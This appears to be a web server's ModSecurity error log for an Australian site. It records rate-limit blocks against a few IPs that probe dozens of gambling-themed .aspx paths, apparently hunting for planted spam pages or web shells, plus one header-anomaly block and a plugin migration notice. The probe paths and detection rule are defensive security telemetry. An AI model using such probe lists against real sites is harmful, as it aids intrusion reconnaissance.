[Tue Feb 10 09:06:25.513987 2026] [:error] [pid 59407:tid 59421] [client 146.59.46.29:37352] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aYqEkWLlhBXE3qmX-Jl7rQAAAUw"]
[Tue Feb 10 09:06:27.900013 2026] [:error] [pid 47937:tid 47942] [client 146.59.46.29:37354] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aYqEk8pqXpC2CvJ3fOPllQAAAMM"]
[Tue Feb 10 09:06:28.044928 2026] [:error] [pid 47937:tid 47950] [client 146.59.46.29:37358] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aYqElMpqXpC2CvJ3fOPllwAAAMs"]
[Tue Feb 10 09:06:30.660110 2026] [:error] [pid 47937:tid 47955] [client 146.59.46.29:56354] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aYqElspqXpC2CvJ3fOPlnwAAANA"]
[Tue Feb 10 09:06:31.111989 2026] [:error] [pid 59544:tid 59572] [client 146.59.46.29:56364] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aYqEl6ZySR9mFY4BailGZQAAAZU"]
[Tue Feb 10 09:06:33.600007 2026] [:error] [pid 47830:tid 47853] [client 146.59.46.29:56380] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "aYqEmUco45BZs8e301CHWwAAAAc"]
[Tue Feb 10 09:06:33.869804 2026] [:error] [pid 30054:tid 30079] [client 146.59.46.29:56386] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aYqEmWecgOOXCu-GgYWYFAAAARc"]
[Tue Feb 10 09:06:36.189327 2026] [:error] [pid 59407:tid 59419] [client 146.59.46.29:56400] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aYqEnGLlhBXE3qmX-Jl7zQAAAUo"]
[Tue Feb 10 09:06:36.518800 2026] [:error] [pid 30054:tid 30076] [client 146.59.46.29:56410] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aYqEnGecgOOXCu-GgYWYGwAAARQ"]
[Tue Feb 10 09:06:38.834641 2026] [:error] [pid 59407:tid 59420] [client 146.59.46.29:58152] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aYqEnmLlhBXE3qmX-Jl71AAAAUs"]
[Tue Feb 10 09:06:39.019984 2026] [:error] [pid 47837:tid 47907] [client 146.59.46.29:58168] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aYqEn3FY8KYFPX79Z4kx5wAAAIc"]
[Tue Feb 10 09:07:06.945465 2026] [:error] [pid 47837:tid 47909] [client 146.59.46.29:58178] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aYqEunFY8KYFPX79Z4kyCAAAAIk"]
[Tue Feb 10 09:07:09.525662 2026] [:error] [pid 47937:tid 47944] [client 146.59.46.29:49292] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aYqEvcpqXpC2CvJ3fOPlzQAAAMU"]
[Tue Feb 10 09:07:13.271340 2026] [:error] [pid 47831:tid 47895] [client 146.59.46.29:49294] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aYqEwSdxbZYarWVkiACgSAAAAFY"]
[Tue Feb 10 09:07:16.346284 2026] [:error] [pid 47837:tid 47916] [client 146.59.46.29:49304] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aYqExHFY8KYFPX79Z4kyEgAAAJA"]
[Tue Feb 10 09:07:18.822498 2026] [:error] [pid 47831:tid 47882] [client 146.59.46.29:52446] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aYqExidxbZYarWVkiACgfwAAAEk"]
[Tue Feb 10 09:07:21.800590 2026] [:error] [pid 47837:tid 47915] [client 146.59.46.29:52458] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aYqEyXFY8KYFPX79Z4kyFwAAAI8"]
[Tue Feb 10 09:07:24.211969 2026] [:error] [pid 59407:tid 59424] [client 146.59.46.29:52472] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aYqEzGLlhBXE3qmX-Jl8JQAAAU8"]
[Tue Feb 10 09:07:26.838207 2026] [:error] [pid 47831:tid 47874] [client 146.59.46.29:52474] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aYqEzidxbZYarWVkiACghwAAAEE"]
[Tue Feb 10 09:07:29.542105 2026] [:error] [pid 47830:tid 47858] [client 146.59.46.29:53532] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aYqE0Uco45BZs8e301CHugAAAAw"]
[Tue Feb 10 09:07:32.024799 2026] [:error] [pid 47937:tid 47959] [client 146.59.46.29:53534] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aYqE1MpqXpC2CvJ3fOPl3QAAANQ"]
[Tue Feb 10 09:32:56.259368 2026] [:error] [pid 47837:tid 47902] [client 162.62.132.25:35234] [client 162.62.132.25] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aYqKyHFY8KYFPX79Z4k5OAAAAII"]
[Tue Feb 10 09:50:13.116378 2026] [proxy_fcgi:error] [pid 47937:tid 47948] [client 169.150.218.23:47127] AH01071: Got error 'PHP message: MonsterInsights: Running migration 1.0.0-cache-table: Create custom cache table for improved performancePHP message: MonsterInsights: Migration 1.0.0-cache-table completed successfully in 0.09 secondsPHP message: MonsterInsights: Running migration 1.0.1-remove-per-user-cache: Remove per-user cache metadata (switched to site-wide cache)PHP message: MonsterInsights: Migration 1.0.1-remove-per-user-cache completed successfully in 0.01 seconds', referer: https://vetstars.com.au/wp-admin/plugins.php
[Tue Feb 10 10:51:15.426464 2026] [:error] [pid 47830:tid 47866] [client 51.222.105.197:51374] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1234%20slot.aspx"] [unique_id "aYqdI0co45BZs8e301CweAAAABQ"]
[Tue Feb 10 10:51:15.856370 2026] [:error] [pid 30054:tid 30057] [client 51.222.105.197:42620] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/888%20slot.aspx"] [unique_id "aYqdI2ecgOOXCu-GgYW0OgAAAQE"]
[Tue Feb 10 10:51:17.763575 2026] [:error] [pid 47831:tid 47884] [client 51.222.105.197:51400] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/789%20slot.aspx"] [unique_id "aYqdJSdxbZYarWVkiAC4KAAAAEs"]
[Tue Feb 10 10:51:18.351346 2026] [:error] [pid 47831:tid 47873] [client 51.222.105.197:51416] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/all%20slot.aspx"] [unique_id "aYqdJidxbZYarWVkiAC4LAAAAEA"]
[Tue Feb 10 10:51:20.574794 2026] [:error] [pid 59407:tid 59413] [client 51.222.105.197:52086] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/888%20slot.aspx"] [unique_id "aYqdKGLlhBXE3qmX-JmV5QAAAUQ"]
[Tue Feb 10 10:51:20.862802 2026] [:error] [pid 59544:tid 59571] [client 51.222.105.197:52106] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aYqdKKZySR9mFY4BailkgwAAAZQ"]
[Tue Feb 10 10:51:23.113868 2026] [:error] [pid 47830:tid 47858] [client 51.222.105.197:52128] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/all%20slot.aspx"] [unique_id "aYqdK0co45BZs8e301CwmQAAAAw"]
[Tue Feb 10 10:51:23.521663 2026] [:error] [pid 47830:tid 47850] [client 51.222.105.197:52146] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aYqdK0co45BZs8e301CwnAAAAAQ"]
[Tue Feb 10 10:51:25.832264 2026] [:error] [pid 47831:tid 47896] [client 51.222.105.197:52164] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aYqdLSdxbZYarWVkiAC4OgAAAFc"]
[Tue Feb 10 10:51:25.832958 2026] [:error] [pid 30054:tid 30077] [client 51.222.105.197:52174] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aYqdLWecgOOXCu-GgYW0PwAAARU"]
[Tue Feb 10 10:51:29.033929 2026] [:error] [pid 47830:tid 47870] [client 51.222.105.197:52190] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aYqdMUco45BZs8e301CwswAAABg"]
[Tue Feb 10 10:51:45.196014 2026] [:error] [pid 47830:tid 47850] [client 51.222.105.197:59220] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aYqdQUco45BZs8e301Cw-QAAAAQ"]
[Tue Feb 10 10:51:48.271489 2026] [:error] [pid 47831:tid 47881] [client 51.222.105.197:59230] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "aYqdRCdxbZYarWVkiAC4SgAAAEg"]
[Tue Feb 10 10:51:51.633258 2026] [:error] [pid 47830:tid 47864] [client 51.222.105.197:59576] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aYqdR0co45BZs8e301CxBAAAABI"]
[Tue Feb 10 10:51:59.346051 2026] [:error] [pid 7704:tid 7724] [client 51.222.105.197:59618] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "aYqdT_0EcqgVBUs6CW2XSAAAAdE"]
[Tue Feb 10 10:52:01.914871 2026] [:error] [pid 7704:tid 7714] [client 51.222.105.197:57022] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aYqdUf0EcqgVBUs6CW2XUwAAAcc"]
[Tue Feb 10 10:52:04.281481 2026] [:error] [pid 47830:tid 47857] [client 51.222.105.197:57046] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aYqdVEco45BZs8e301CxGAAAAAs"]
[Tue Feb 10 10:52:05.492680 2026] [:error] [pid 47830:tid 47866] [client 51.222.105.197:57060] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aYqdVUco45BZs8e301CxIgAAABQ"]
[Tue Feb 10 10:52:06.825495 2026] [:error] [pid 59407:tid 59431] [client 51.222.105.197:57074] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aYqdVmLlhBXE3qmX-JmWGgAAAVY"]
[Tue Feb 10 10:52:08.215762 2026] [:error] [pid 30054:tid 30060] [client 51.222.105.197:57090] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aYqdWGecgOOXCu-GgYW0VgAAAQQ"]
[Tue Feb 10 10:52:09.509093 2026] [:error] [pid 59544:tid 59570] [client 51.222.105.197:57098] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aYqdWaZySR9mFY4BailkvAAAAZM"]
[Tue Feb 10 10:52:10.940127 2026] [:error] [pid 47831:tid 47883] [client 51.222.105.197:38026] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aYqdWidxbZYarWVkiAC4YgAAAEo"]
[Tue Feb 10 10:52:29.068127 2026] [:error] [pid 47831:tid 47880] [client 51.222.105.197:38052] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aYqdbSdxbZYarWVkiAC4hgAAAEc"]
[Tue Feb 10 10:52:30.418206 2026] [:error] [pid 47830:tid 47859] [client 51.222.105.197:38044] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aYqdbkco45BZs8e301CxWgAAAA0"]
[Tue Feb 10 10:52:31.741456 2026] [:error] [pid 47830:tid 47865] [client 51.222.105.197:45884] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aYqdb0co45BZs8e301CxWwAAABM"]
[Tue Feb 10 10:52:32.793064 2026] [:error] [pid 47837:tid 47916] [client 51.222.105.197:45898] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aYqdcHFY8KYFPX79Z4lOywAAAJA"]
[Tue Feb 10 10:52:34.299365 2026] [:error] [pid 47830:tid 47863] [client 51.222.105.197:45902] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aYqdckco45BZs8e301CxYQAAABE"]
[Tue Feb 10 10:52:35.111665 2026] [:error] [pid 59544:tid 59560] [client 51.222.105.197:45928] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aYqdc6ZySR9mFY4BaillBQAAAYw"]
[Tue Feb 10 10:52:36.852656 2026] [:error] [pid 30054:tid 30059] [client 51.222.105.197:45940] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aYqddGecgOOXCu-GgYW0swAAAQM"]
[Tue Feb 10 10:52:37.509779 2026] [:error] [pid 47830:tid 47854] [client 51.222.105.197:45954] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aYqddUco45BZs8e301CxZQAAAAg"]
[Tue Feb 10 10:52:40.070385 2026] [:error] [pid 47830:tid 47870] [client 51.222.105.197:45966] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aYqdeEco45BZs8e301CxaAAAABg"]
[Tue Feb 10 10:52:42.506109 2026] [:error] [pid 47830:tid 47863] [client 51.222.105.197:57812] [client 51.222.105.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aYqdekco45BZs8e301CxawAAABE"]
